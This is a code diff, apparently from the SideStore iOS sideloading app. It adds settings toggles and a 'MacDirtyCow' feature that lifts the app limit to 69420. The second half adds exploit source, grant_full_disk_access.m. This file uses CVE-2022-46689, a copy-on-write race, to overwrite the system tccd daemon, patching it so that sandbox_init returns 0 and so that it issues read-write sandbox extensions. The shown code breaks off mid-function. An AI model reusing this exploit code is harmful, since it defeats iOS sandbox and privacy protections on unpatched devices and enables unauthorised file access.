<outlet property="accountNameLabel" destination="CnN-M1-AYK" id="Ldc-Py-Bix"/>
|
||||
<outlet property="accountTypeLabel" destination="434-MW-Den" id="mNB-QE-4Jg"/>
|
||||
<outlet property="backgroundRefreshSwitch" destination="DPu-zD-Als" id="eiG-Hv-Vko"/>
|
||||
<outlet property="noIdleTimeoutSwitch" destination="iQA-wm-5ag" id="jHC-js-q0Y"/>
|
||||
<outlet property="versionLabel" destination="bUR-rp-Nw2" id="85I-5R-hqz"/>
|
||||
</connections>
|
||||
</tableViewController>
|
||||
|
||||
@@ -24,19 +24,21 @@ extension SettingsViewController
|
||||
case appRefresh
|
||||
case instructions
|
||||
case credits
|
||||
case mdc
|
||||
case debug
|
||||
}
|
||||
|
||||
fileprivate enum AppRefreshRow: Int, CaseIterable
|
||||
{
|
||||
case backgroundRefresh
|
||||
case noIdleTimeout
|
||||
|
||||
@available(iOS 14, *)
|
||||
case addToSiri
|
||||
|
||||
static var allCases: [AppRefreshRow] {
|
||||
guard #available(iOS 14, *) else { return [.backgroundRefresh] }
|
||||
return [.backgroundRefresh, .addToSiri]
|
||||
guard #available(iOS 14, *) else { return [.backgroundRefresh, .noIdleTimeout] }
|
||||
return [.backgroundRefresh, .noIdleTimeout, .addToSiri]
|
||||
}
|
||||
}
|
||||
|
||||
@@ -53,9 +55,11 @@ extension SettingsViewController
|
||||
case sendFeedback
|
||||
case refreshAttempts
|
||||
case errorLog
|
||||
case clearCache
|
||||
case resetPairingFile
|
||||
case resetAdiPb
|
||||
case advancedSettings
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@@ -73,6 +77,8 @@ final class SettingsViewController: UITableViewController
|
||||
@IBOutlet private var accountTypeLabel: UILabel!
|
||||
|
||||
@IBOutlet private var backgroundRefreshSwitch: UISwitch!
|
||||
@IBOutlet private var noIdleTimeoutSwitch: UISwitch!
|
||||
@IBOutlet private var MDCSwitch: UISwitch!
|
||||
|
||||
@IBOutlet private var versionLabel: UILabel!
|
||||
|
||||
@@ -148,6 +154,30 @@ private extension SettingsViewController
|
||||
}
|
||||
|
||||
self.backgroundRefreshSwitch.isOn = UserDefaults.standard.isBackgroundRefreshEnabled
|
||||
self.noIdleTimeoutSwitch.isOn = UserDefaults.standard.isIdleTimeoutDisableEnabled
|
||||
|
||||
let MDCMinimumVersion = OperatingSystemVersion(majorVersion: 14, minorVersion: 0, patchVersion: 0)
|
||||
let MDCMaximumVersion1 = OperatingSystemVersion(majorVersion: 15, minorVersion: 7, patchVersion: 2)
|
||||
let MDCMaximumVersionSep = OperatingSystemVersion(majorVersion: 16, minorVersion: 0, patchVersion: 0)
|
||||
let MDCMaximumVersion2 = OperatingSystemVersion(majorVersion: 16, minorVersion: 2, patchVersion: 0)
|
||||
|
||||
var canUseMDC = false
|
||||
|
||||
if ProcessInfo.processInfo.isOperatingSystemAtLeast(MDCMinimumVersion) { // at least 14.0.0
|
||||
if !ProcessInfo.processInfo.isOperatingSystemAtLeast(MDCMaximumVersion1) { // not at least 15.7.2 (less than 15.7.2)
|
||||
canUseMDC = true
|
||||
}
|
||||
if !ProcessInfo.processInfo.isOperatingSystemAtLeast(MDCMaximumVersion2) && ProcessInfo.processInfo.isOperatingSystemAtLeast(MDCMaximumVersionSep) { // not at least 16.2.0 but more than 16.0.0
|
||||
canUseMDC = true
|
||||
}
|
||||
}
|
||||
|
||||
if !canUseMDC {
|
||||
UserDefaults.standard.isMDCEnabled = false
|
||||
}
|
||||
|
||||
self.MDCSwitch.isOn = UserDefaults.standard.isMDCEnabled
|
||||
self.MDCSwitch.isEnabled = canUseMDC
|
||||
|
||||
if self.isViewLoaded
|
||||
{
|
||||
@@ -161,7 +191,7 @@ private extension SettingsViewController
|
||||
settingsHeaderFooterView.secondaryLabel.isHidden = isHeader
|
||||
settingsHeaderFooterView.button.isHidden = true
|
||||
|
||||
settingsHeaderFooterView.layoutMargins.bottom = isHeader ? 0 : 8
|
||||
settingsHeaderFooterView.layoutMargins.bottom = isHeader ? 0 : 9
|
||||
|
||||
switch section
|
||||
{
|
||||
@@ -207,6 +237,21 @@ private extension SettingsViewController
|
||||
|
||||
case .credits:
|
||||
settingsHeaderFooterView.primaryLabel.text = NSLocalizedString("CREDITS", comment: "")
|
||||
|
||||
case .mdc:
|
||||
if isHeader
|
||||
{
|
||||
settingsHeaderFooterView.primaryLabel.text = NSLocalizedString("MACDIRTYCOW", comment: "")
|
||||
}
|
||||
else
|
||||
{
|
||||
#if MACDIRTYCOW
|
||||
settingsHeaderFooterView.secondaryLabel.text = NSLocalizedString("This only works on iOS 15 - 15.7.1 and iOS 16 - iOS 16.1.2", comment: "")
|
||||
#else
|
||||
settingsHeaderFooterView.secondaryLabel.text = NSLocalizedString("This only works on iOS 15 - 15.7.1 and iOS 16 - iOS 16.1.2. This build is not a MacDirtyCow build, therefore this will only lift the 3 app limit", comment: "")
|
||||
#endif
|
||||
settingsHeaderFooterView.secondaryLabel.isHidden = false
|
||||
}
|
||||
|
||||
case .debug:
|
||||
settingsHeaderFooterView.primaryLabel.text = NSLocalizedString("DEBUG", comment: "")
|
||||
@@ -280,6 +325,22 @@ private extension SettingsViewController
|
||||
UserDefaults.standard.isBackgroundRefreshEnabled = sender.isOn
|
||||
}
|
||||
|
||||
@IBAction func toggleNoIdleTimeoutEnabled(_ sender: UISwitch)
|
||||
{
|
||||
UserDefaults.standard.isIdleTimeoutDisableEnabled = sender.isOn
|
||||
}
|
||||
|
||||
@IBAction func toggleMDCEnabled(_ sender: UISwitch)
|
||||
{
|
||||
UserDefaults.standard.isMDCEnabled = sender.isOn
|
||||
if sender.isOn {
|
||||
UserDefaults.standard.activeAppsLimit = 69420
|
||||
}
|
||||
else {
|
||||
UserDefaults.standard.activeAppsLimit = 3
|
||||
}
|
||||
}
|
||||
|
||||
@available(iOS 14, *)
|
||||
@IBAction func addRefreshAppsShortcut()
|
||||
{
|
||||
@@ -291,6 +352,39 @@ private extension SettingsViewController
|
||||
self.present(viewController, animated: true, completion: nil)
|
||||
}
|
||||
|
||||
func clearCache()
|
||||
{
|
||||
let alertController = UIAlertController(title: NSLocalizedString("Are you sure you want to clear SideStore's cache?", comment: ""),
|
||||
message: NSLocalizedString("This will remove all temporary files as well as backups for uninstalled apps.", comment: ""),
|
||||
preferredStyle: .actionSheet)
|
||||
alertController.addAction(UIAlertAction(title: UIAlertAction.cancel.title, style: UIAlertAction.cancel.style) { [weak self] _ in
|
||||
self?.tableView.indexPathForSelectedRow.map { self?.tableView.deselectRow(at: $0, animated: true) }
|
||||
})
|
||||
alertController.addAction(UIAlertAction(title: NSLocalizedString("Clear Cache", comment: ""), style: .destructive) { [weak self] _ in
|
||||
AppManager.shared.clearAppCache { result in
|
||||
DispatchQueue.main.async {
|
||||
self?.tableView.indexPathForSelectedRow.map { self?.tableView.deselectRow(at: $0, animated: true) }
|
||||
|
||||
switch result
|
||||
{
|
||||
case .success: break
|
||||
case .failure(let error):
|
||||
let alertController = UIAlertController(title: NSLocalizedString("Unable to Clear Cache", comment: ""), message: error.localizedDescription, preferredStyle: .alert)
|
||||
alertController.addAction(.ok)
|
||||
self?.present(alertController, animated: true)
|
||||
}
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
if let popoverController = alertController.popoverPresentationController {
|
||||
popoverController.sourceView = self.view
|
||||
popoverController.sourceRect = CGRect(x: self.view.bounds.midX, y: self.view.bounds.midY, width: 0, height: 0)
|
||||
}
|
||||
|
||||
self.present(alertController, animated: true)
|
||||
}
|
||||
|
||||
@IBAction func handleDebugModeGesture(_ gestureRecognizer: UISwipeGestureRecognizer)
|
||||
{
|
||||
self.debugGestureCounter += 1
|
||||
@@ -377,15 +471,26 @@ extension SettingsViewController
|
||||
{
|
||||
let cell = super.tableView(tableView, cellForRowAt: indexPath)
|
||||
|
||||
if #available(iOS 14, *) {}
|
||||
else if let cell = cell as? InsetGroupTableViewCell,
|
||||
indexPath.section == Section.appRefresh.rawValue,
|
||||
indexPath.row == AppRefreshRow.backgroundRefresh.rawValue
|
||||
// if #available(iOS 14, *) {}
|
||||
// else if let cell = cell as? InsetGroupTableViewCell,
|
||||
// indexPath.section == Section.appRefresh.rawValue,
|
||||
// indexPath.row == AppRefreshRow.backgroundRefresh.rawValue
|
||||
// {
|
||||
// // Only one row is visible pre-iOS 14.
|
||||
// cell.style = .single
|
||||
// }
|
||||
|
||||
if AppRefreshRow.AllCases().count == 1
|
||||
{
|
||||
// Only one row is visible pre-iOS 14.
|
||||
cell.style = .single
|
||||
if let cell = cell as? InsetGroupTableViewCell,
|
||||
indexPath.section == Section.appRefresh.rawValue,
|
||||
indexPath.row == AppRefreshRow.backgroundRefresh.rawValue
|
||||
{
|
||||
cell.style = .single
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
return cell
|
||||
}
|
||||
|
||||
@@ -396,7 +501,7 @@ extension SettingsViewController
|
||||
{
|
||||
case .signIn where self.activeTeam != nil: return nil
|
||||
case .account where self.activeTeam == nil: return nil
|
||||
case .signIn, .account, .patreon, .appRefresh, .credits, .debug:
|
||||
case .signIn, .account, .patreon, .appRefresh, .credits, .debug, .mdc:
|
||||
let headerView = tableView.dequeueReusableHeaderFooterView(withIdentifier: "HeaderFooterView") as! SettingsHeaderFooterView
|
||||
self.prepare(headerView, for: section, isHeader: true)
|
||||
return headerView
|
||||
@@ -411,7 +516,7 @@ extension SettingsViewController
|
||||
switch section
|
||||
{
|
||||
case .signIn where self.activeTeam != nil: return nil
|
||||
case .signIn, .patreon, .appRefresh:
|
||||
case .signIn, .patreon, .appRefresh, .mdc:
|
||||
let footerView = tableView.dequeueReusableHeaderFooterView(withIdentifier: "HeaderFooterView") as! SettingsHeaderFooterView
|
||||
self.prepare(footerView, for: section, isHeader: false)
|
||||
return footerView
|
||||
@@ -427,7 +532,7 @@ extension SettingsViewController
|
||||
{
|
||||
case .signIn where self.activeTeam != nil: return 1.0
|
||||
case .account where self.activeTeam == nil: return 1.0
|
||||
case .signIn, .account, .patreon, .appRefresh, .credits, .debug:
|
||||
case .signIn, .account, .patreon, .appRefresh, .credits, .debug, .mdc:
|
||||
let height = self.preferredHeight(for: self.prototypeHeaderFooterView, in: section, isHeader: true)
|
||||
return height
|
||||
|
||||
@@ -442,7 +547,7 @@ extension SettingsViewController
|
||||
{
|
||||
case .signIn where self.activeTeam != nil: return 1.0
|
||||
case .account where self.activeTeam == nil: return 1.0
|
||||
case .signIn, .patreon, .appRefresh:
|
||||
case .signIn, .patreon, .appRefresh, .mdc:
|
||||
let height = self.preferredHeight(for: self.prototypeHeaderFooterView, in: section, isHeader: false)
|
||||
return height
|
||||
|
||||
@@ -465,11 +570,13 @@ extension SettingsViewController
|
||||
switch row
|
||||
{
|
||||
case .backgroundRefresh: break
|
||||
case .noIdleTimeout: break
|
||||
case .addToSiri:
|
||||
guard #available(iOS 14, *) else { return }
|
||||
self.addRefreshAppsShortcut()
|
||||
}
|
||||
|
||||
|
||||
case .credits:
|
||||
let row = CreditsRow.allCases[indexPath.row]
|
||||
switch row
|
||||
@@ -507,6 +614,9 @@ extension SettingsViewController
|
||||
let toastView = ToastView(text: NSLocalizedString("Cannot Send Mail", comment: ""), detailText: nil)
|
||||
toastView.show(in: self)
|
||||
}
|
||||
|
||||
case .clearCache: self.clearCache()
|
||||
|
||||
case .resetPairingFile:
|
||||
let filename = "ALTPairingFile.mobiledevicepairing"
|
||||
let fm = FileManager.default
|
||||
@@ -559,6 +669,7 @@ extension SettingsViewController
|
||||
ELOG("UIApplication.openSettingsURLString invalid")
|
||||
}
|
||||
case .refreshAttempts, .errorLog: break
|
||||
|
||||
}
|
||||
|
||||
default: break
|
||||
|
||||
@@ -27,9 +27,10 @@ public extension UserDefaults
|
||||
@NSManaged var preferredServerID: String?
|
||||
|
||||
@NSManaged var isBackgroundRefreshEnabled: Bool
|
||||
@NSManaged var isIdleTimeoutDisableEnabled: Bool
|
||||
@NSManaged var isDebugModeEnabled: Bool
|
||||
@NSManaged var presentedLaunchReminderNotification: Bool
|
||||
|
||||
@NSManaged var isMDCEnabled: Bool
|
||||
@NSManaged var legacySideloadedApps: [String]?
|
||||
|
||||
@NSManaged var isLegacyDeactivationSupported: Bool
|
||||
@@ -72,6 +73,7 @@ public extension UserDefaults
|
||||
|
||||
let defaults = [
|
||||
#keyPath(UserDefaults.isBackgroundRefreshEnabled): true,
|
||||
#keyPath(UserDefaults.isIdleTimeoutDisableEnabled): true,
|
||||
#keyPath(UserDefaults.isLegacyDeactivationSupported): isLegacyDeactivationSupported,
|
||||
#keyPath(UserDefaults.activeAppLimitIncludesExtensions): activeAppLimitIncludesExtensions,
|
||||
#keyPath(UserDefaults.localServerSupportsRefreshing): localServerSupportsRefreshing,
|
||||
|
||||
@@ -4,8 +4,8 @@
|
||||
<dict>
|
||||
<key>ALTAppGroups</key>
|
||||
<array>
|
||||
<string>group.com.SideStore.SideStore</string>
|
||||
<string>group.$(APP_GROUP_IDENTIFIER)</string>
|
||||
<string>group.com.SideStore.SideStore</string>
|
||||
</array>
|
||||
<key>CFBundleDevelopmentRegion</key>
|
||||
<string>$(DEVELOPMENT_LANGUAGE)</string>
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
// Configuration settings file format documentation can be found at:
|
||||
// https://help.apple.com/xcode/#/dev745c5c974
|
||||
|
||||
MARKETING_VERSION = 0.5.1
|
||||
CURRENT_PROJECT_VERSION = 5010
|
||||
MARKETING_VERSION = 0.5.5
|
||||
CURRENT_PROJECT_VERSION = 5050
|
||||
|
||||
// Vars to be overwritten by `CodeSigning.xcconfig` if exists
|
||||
DEVELOPMENT_TEAM = S32Z3HMYVQ
|
||||
|
||||
2
Dependencies/Roxas
vendored
2
Dependencies/Roxas
vendored
Submodule Dependencies/Roxas updated: d07c467b6f...c28b400621
2
Dependencies/libimobiledevice
vendored
2
Dependencies/libimobiledevice
vendored
Submodule Dependencies/libimobiledevice updated: 6fc41f57fc...04c023317f
2
Dependencies/libplist
vendored
2
Dependencies/libplist
vendored
Submodule Dependencies/libplist updated: d45396aad9...258d3c24aa
21
MacDirtyCow/MacDirtyCow.h
Normal file
21
MacDirtyCow/MacDirtyCow.h
Normal file
@@ -0,0 +1,21 @@
|
||||
//
|
||||
// MacDirtyCow.h
|
||||
// MacDirtyCow
|
||||
//
|
||||
// Created by June P on 2023/11/28.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
//! Project version number for MacDirtyCow.
|
||||
FOUNDATION_EXPORT double MacDirtyCowVersionNumber;
|
||||
|
||||
//! Project version string for MacDirtyCow.
|
||||
FOUNDATION_EXPORT const unsigned char MacDirtyCowVersionString[];
|
||||
|
||||
// In this header, you should import all the public headers of your framework using statements like #import <MacDirtyCow/PublicHeader.h>
|
||||
|
||||
#include "grant_full_disk_access.h"
|
||||
#include "helpers.h"
|
||||
#include "vm_unaligned_copy_switch_race.h"
|
||||
16
MacDirtyCow/grant_full_disk_access.h
Normal file
16
MacDirtyCow/grant_full_disk_access.h
Normal file
@@ -0,0 +1,16 @@
|
||||
//
|
||||
// grant_full_disk_access.h
|
||||
// AltStore
|
||||
//
|
||||
// Created by June P on 2023/11/28.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
#ifndef grant_full_disk_access_h
|
||||
#define grant_full_disk_access_h
|
||||
@import Foundation;
|
||||
|
||||
/// Uses CVE-2022-46689 to grant the current app read/write access outside the sandbox.
|
||||
void grant_full_disk_access(void (^_Nonnull completion)(NSError* _Nullable));
|
||||
bool patch_installd(void);
|
||||
#endif /* grant_full_disk_access_h */
|
||||
618
MacDirtyCow/grant_full_disk_access.m
Normal file
618
MacDirtyCow/grant_full_disk_access.m
Normal file
@@ -0,0 +1,618 @@
|
||||
//
|
||||
// grant_full_disk_access.m
|
||||
// MacDirtyCow
|
||||
//
|
||||
// Created by June P on 2023/11/28.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
@import Darwin;
|
||||
@import Foundation;
|
||||
@import MachO;
|
||||
|
||||
#import <mach-o/fixup-chains.h>
|
||||
// you'll need helpers.m from Ian Beer's write_no_write and vm_unaligned_copy_switch_race.m from
|
||||
// WDBFontOverwrite
|
||||
// Also, set an NSAppleMusicUsageDescription in Info.plist (can be anything)
|
||||
// Please don't call this code on iOS 14 or below
|
||||
// (This temporarily overwrites tccd, and on iOS 14 and above changes do not revert on reboot)
|
||||
#import "grant_full_disk_access.h"
|
||||
#import "helpers.h"
|
||||
#import "vm_unaligned_copy_switch_race.h"
|
||||
|
||||
typedef NSObject* xpc_object_t;
|
||||
typedef xpc_object_t xpc_connection_t;
|
||||
typedef void (^xpc_handler_t)(xpc_object_t object);
|
||||
xpc_object_t xpc_dictionary_create(const char* const _Nonnull* keys,
|
||||
xpc_object_t _Nullable const* values, size_t count);
|
||||
xpc_connection_t xpc_connection_create_mach_service(const char* name, dispatch_queue_t targetq,
|
||||
uint64_t flags);
|
||||
void xpc_connection_set_event_handler(xpc_connection_t connection, xpc_handler_t handler);
|
||||
void xpc_connection_resume(xpc_connection_t connection);
|
||||
void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message,
|
||||
dispatch_queue_t replyq, xpc_handler_t handler);
|
||||
xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection,
|
||||
xpc_object_t message);
|
||||
xpc_object_t xpc_bool_create(bool value);
|
||||
xpc_object_t xpc_string_create(const char* string);
|
||||
xpc_object_t xpc_null_create(void);
|
||||
const char* xpc_dictionary_get_string(xpc_object_t xdict, const char* key);
|
||||
|
||||
int64_t sandbox_extension_consume(const char* token);
|
||||
|
||||
// MARK: - patchfind
|
||||
|
||||
struct grant_full_disk_access_offsets {
|
||||
uint64_t offset_addr_s_com_apple_tcc_;
|
||||
uint64_t offset_padding_space_for_read_write_string;
|
||||
uint64_t offset_addr_s_kTCCServiceMediaLibrary;
|
||||
uint64_t offset_auth_got__sandbox_init;
|
||||
uint64_t offset_just_return_0;
|
||||
bool is_arm64e;
|
||||
};
|
||||
|
||||
static bool patchfind_sections(void* executable_map,
|
||||
struct segment_command_64** data_const_segment_out,
|
||||
struct symtab_command** symtab_out,
|
||||
struct dysymtab_command** dysymtab_out) {
|
||||
struct mach_header_64* executable_header = executable_map;
|
||||
struct load_command* load_command = executable_map + sizeof(struct mach_header_64);
|
||||
for (int load_command_index = 0; load_command_index < executable_header->ncmds;
|
||||
load_command_index++) {
|
||||
switch (load_command->cmd) {
|
||||
case LC_SEGMENT_64: {
|
||||
struct segment_command_64* segment = (struct segment_command_64*)load_command;
|
||||
if (strcmp(segment->segname, "__DATA_CONST") == 0) {
|
||||
*data_const_segment_out = segment;
|
||||
}
|
||||
break;
|
||||
}
|
||||
case LC_SYMTAB: {
|
||||
*symtab_out = (struct symtab_command*)load_command;
|
||||
break;
|
||||
}
|
||||
case LC_DYSYMTAB: {
|
||||
*dysymtab_out = (struct dysymtab_command*)load_command;
|
||||
break;
|
||||
}
|
||||
}
|
||||
load_command = ((void*)load_command) + load_command->cmdsize;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
static uint64_t patchfind_get_padding(struct segment_command_64* segment) {
|
||||
struct section_64* section_array = ((void*)segment) + sizeof(struct segment_command_64);
|
||||
struct section_64* last_section = §ion_array[segment->nsects - 1];
|
||||
return last_section->offset + last_section->size;
|
||||
}
|
||||
|
||||
static uint64_t patchfind_pointer_to_string(void* executable_map, size_t executable_length,
|
||||
const char* needle) {
|
||||
void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1);
|
||||
if (!str_offset) {
|
||||
return 0;
|
||||
}
|
||||
uint64_t str_file_offset = str_offset - executable_map;
|
||||
for (int i = 0; i < executable_length; i += 8) {
|
||||
uint64_t val = *(uint64_t*)(executable_map + i);
|
||||
if ((val & 0xfffffffful) == str_file_offset) {
|
||||
return i;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static uint64_t patchfind_return_0(void* executable_map, size_t executable_length) {
|
||||
// TCCDSyncAccessAction::sequencer
|
||||
// mov x0, #0
|
||||
// ret
|
||||
static const char needle[] = {0x00, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x5f, 0xd6};
|
||||
void* offset = memmem(executable_map, executable_length, needle, sizeof(needle));
|
||||
if (!offset) {
|
||||
return 0;
|
||||
}
|
||||
return offset - executable_map;
|
||||
}
|
||||
|
||||
static uint64_t patchfind_got(void* executable_map, size_t executable_length,
|
||||
struct segment_command_64* data_const_segment,
|
||||
struct symtab_command* symtab_command,
|
||||
struct dysymtab_command* dysymtab_command,
|
||||
const char* target_symbol_name) {
|
||||
uint64_t target_symbol_index = 0;
|
||||
for (int sym_index = 0; sym_index < symtab_command->nsyms; sym_index++) {
|
||||
struct nlist_64* sym =
|
||||
((struct nlist_64*)(executable_map + symtab_command->symoff)) + sym_index;
|
||||
const char* sym_name = executable_map + symtab_command->stroff + sym->n_un.n_strx;
|
||||
if (strcmp(sym_name, target_symbol_name)) {
|
||||
continue;
|
||||
}
|
||||
// printf("%d %llx\n", sym_index, (uint64_t)(((void*)sym) - executable_map));
|
||||
target_symbol_index = sym_index;
|
||||
break;
|
||||
}
|
||||
|
||||
struct section_64* section_array =
|
||||
((void*)data_const_segment) + sizeof(struct segment_command_64);
|
||||
struct section_64* first_section = §ion_array[0];
|
||||
if (!(strcmp(first_section->sectname, "__auth_got") == 0 ||
|
||||
strcmp(first_section->sectname, "__got") == 0)) {
|
||||
return 0;
|
||||
}
|
||||
uint32_t* indirect_table = executable_map + dysymtab_command->indirectsymoff;
|
||||
|
||||
for (int i = 0; i < first_section->size; i += 8) {
|
||||
uint64_t val = *(uint64_t*)(executable_map + first_section->offset + i);
|
||||
uint64_t indirect_table_entry = (val & 0xfffful);
|
||||
if (indirect_table[first_section->reserved1 + indirect_table_entry] == target_symbol_index) {
|
||||
return first_section->offset + i;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static bool patchfind(void* executable_map, size_t executable_length,
|
||||
struct grant_full_disk_access_offsets* offsets) {
|
||||
struct segment_command_64* data_const_segment = nil;
|
||||
struct symtab_command* symtab_command = nil;
|
||||
struct dysymtab_command* dysymtab_command = nil;
|
||||
if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command,
|
||||
&dysymtab_command)) {
|
||||
printf("no sections\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_addr_s_com_apple_tcc_ =
|
||||
patchfind_pointer_to_string(executable_map, executable_length, "com.apple.tcc.")) == 0) {
|
||||
printf("no com.apple.tcc. string\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_padding_space_for_read_write_string =
|
||||
patchfind_get_padding(data_const_segment)) == 0) {
|
||||
printf("no padding\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_addr_s_kTCCServiceMediaLibrary = patchfind_pointer_to_string(
|
||||
executable_map, executable_length, "kTCCServiceMediaLibrary")) == 0) {
|
||||
printf("no kTCCServiceMediaLibrary string\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_auth_got__sandbox_init =
|
||||
patchfind_got(executable_map, executable_length, data_const_segment, symtab_command,
|
||||
dysymtab_command, "_sandbox_init")) == 0) {
|
||||
printf("no sandbox_init\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_just_return_0 = patchfind_return_0(executable_map, executable_length)) ==
|
||||
0) {
|
||||
printf("no just return 0\n");
|
||||
return false;
|
||||
}
|
||||
struct mach_header_64* executable_header = executable_map;
|
||||
offsets->is_arm64e = (executable_header->cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
// MARK: - tccd patching
|
||||
|
||||
static void call_tccd(void (^completion)(NSString* _Nullable extension_token)) {
|
||||
// reimplmentation of TCCAccessRequest, as we need to grab and cache the sandbox token so we can
|
||||
// re-use it until next reboot.
|
||||
// Returns the sandbox token if there is one, or nil if there isn't one.
|
||||
xpc_connection_t connection = xpc_connection_create_mach_service(
|
||||
"com.apple.tccd", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0);
|
||||
xpc_connection_set_event_handler(connection, ^(xpc_object_t object) {
|
||||
NSLog(@"xpc event handler: %@", object);
|
||||
});
|
||||
xpc_connection_resume(connection);
|
||||
const char* keys[] = {
|
||||
"TCCD_MSG_ID", "function", "service", "require_purpose", "preflight",
|
||||
"target_token", "background_session",
|
||||
};
|
||||
xpc_object_t values[] = {
|
||||
xpc_string_create("17087.1"),
|
||||
xpc_string_create("TCCAccessRequest"),
|
||||
xpc_string_create("com.apple.app-sandbox.read-write"),
|
||||
xpc_null_create(),
|
||||
xpc_bool_create(false),
|
||||
xpc_null_create(),
|
||||
xpc_bool_create(false),
|
||||
};
|
||||
xpc_object_t request_message = xpc_dictionary_create(keys, values, sizeof(keys) / sizeof(*keys));
|
||||
#if 0
|
||||
xpc_object_t response_message = xpc_connection_send_message_with_reply_sync(connection, request_message);
|
||||
NSLog(@"%@", response_message);
|
||||
|
||||
#endif
|
||||
xpc_connection_send_message_with_reply(
|
||||
connection, request_message, dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0),
|
||||
^(xpc_object_t object) {
|
||||
if (!object) {
|
||||
NSLog(@"object is nil???");
|
||||
completion(nil);
|
||||
return;
|
||||
}
|
||||
NSLog(@"response: %@", object);
|
||||
if ([object isKindOfClass:NSClassFromString(@"OS_xpc_error")]) {
|
||||
NSLog(@"xpc error?");
|
||||
completion(nil);
|
||||
return;
|
||||
}
|
||||
NSLog(@"debug description: %@", [object debugDescription]);
|
||||
const char* extension_string = xpc_dictionary_get_string(object, "extension");
|
||||
NSString* extension_nsstring =
|
||||
extension_string ? [NSString stringWithUTF8String:extension_string] : nil;
|
||||
completion(extension_nsstring);
|
||||
});
|
||||
}
|
||||
|
||||
static NSData* patchTCCD(void* executableMap, size_t executableLength) {
|
||||
struct grant_full_disk_access_offsets offsets = {};
|
||||
if (!patchfind(executableMap, executableLength, &offsets)) {
|
||||
return nil;
|
||||
}
|
||||
|
||||
NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];
|
||||
// strcpy(data.mutableBytes, "com.apple.app-sandbox.read-write", sizeOfStr);
|
||||
char* mutableBytes = data.mutableBytes;
|
||||
{
|
||||
// rewrite com.apple.tcc. into blank string
|
||||
*(uint64_t*)(mutableBytes + offsets.offset_addr_s_com_apple_tcc_ + 8) = 0;
|
||||
}
|
||||
{
|
||||
// make offset_addr_s_kTCCServiceMediaLibrary point to "com.apple.app-sandbox.read-write"
|
||||
// we need to stick this somewhere; just put it in the padding between
|
||||
// the end of __objc_arrayobj and the end of __DATA_CONST
|
||||
strcpy((char*)(data.mutableBytes + offsets.offset_padding_space_for_read_write_string),
|
||||
"com.apple.app-sandbox.read-write");
|
||||
struct dyld_chained_ptr_arm64e_rebase targetRebase =
|
||||
*(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
|
||||
offsets.offset_addr_s_kTCCServiceMediaLibrary);
|
||||
targetRebase.target = offsets.offset_padding_space_for_read_write_string;
|
||||
*(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
|
||||
offsets.offset_addr_s_kTCCServiceMediaLibrary) =
|
||||
targetRebase;
|
||||
*(uint64_t*)(mutableBytes + offsets.offset_addr_s_kTCCServiceMediaLibrary + 8) =
|
||||
strlen("com.apple.app-sandbox.read-write");
|
||||
}
|
||||
if (offsets.is_arm64e) {
|
||||
// make sandbox_init call return 0;
|
||||
struct dyld_chained_ptr_arm64e_auth_rebase targetRebase = {
|
||||
.auth = 1,
|
||||
.bind = 0,
|
||||
.next = 1,
|
||||
.key = 0, // IA
|
||||
.addrDiv = 1,
|
||||
.diversity = 0,
|
||||
.target = offsets.offset_just_return_0,
|
||||
};
|
||||
*(struct dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
|
||||
offsets.offset_auth_got__sandbox_init) =
|
||||
targetRebase;
|
||||
} else {
|
||||
// make sandbox_init call return 0;
|
||||
struct dyld_chained_ptr_64_rebase targetRebase = {
|
||||
.bind = 0,
|
||||
.next = 2,
|
||||
.target = offsets.offset_just_return_0,
|
||||
};
|
||||
*(struct dyld_chained_ptr_64_rebase*)(mutableBytes + offsets.offset_auth_got__sandbox_init) =
|
||||
targetRebase;
|
||||
}
|
||||
return data;
|
||||
}
|
||||
|
||||
static bool overwrite_file(int fd, NSData* sourceData) {
|
||||
for (int off = 0; off < sourceData.length; off += 0x4000) {
|
||||
bool success = false;
|
||||
for (int i = 0; i < 2; i++) {
|
||||
if (unaligned_copy_switch_race(
|
||||
fd, off, sourceData.bytes + off,
|
||||
off + 0x4000 > sourceData.length ? sourceData.length - off : 0x4000)) {
|
||||
success = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!success) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
static void grant_full_disk_access_impl(void (^completion)(NSString* extension_token,
|
||||
NSError* _Nullable error)) {
|
||||
char* targetPath = "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd";
|
||||
int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
|
||||
if (fd == -1) {
|
||||
// iOS 15.3 and below
|
||||
targetPath = "/System/Library/PrivateFrameworks/TCC.framework/tccd";
|
||||
fd = open(targetPath, O_RDONLY | O_CLOEXEC);
|
||||
}
|
||||
off_t targetLength = lseek(fd, 0, SEEK_END);
|
||||
lseek(fd, 0, SEEK_SET);
|
||||
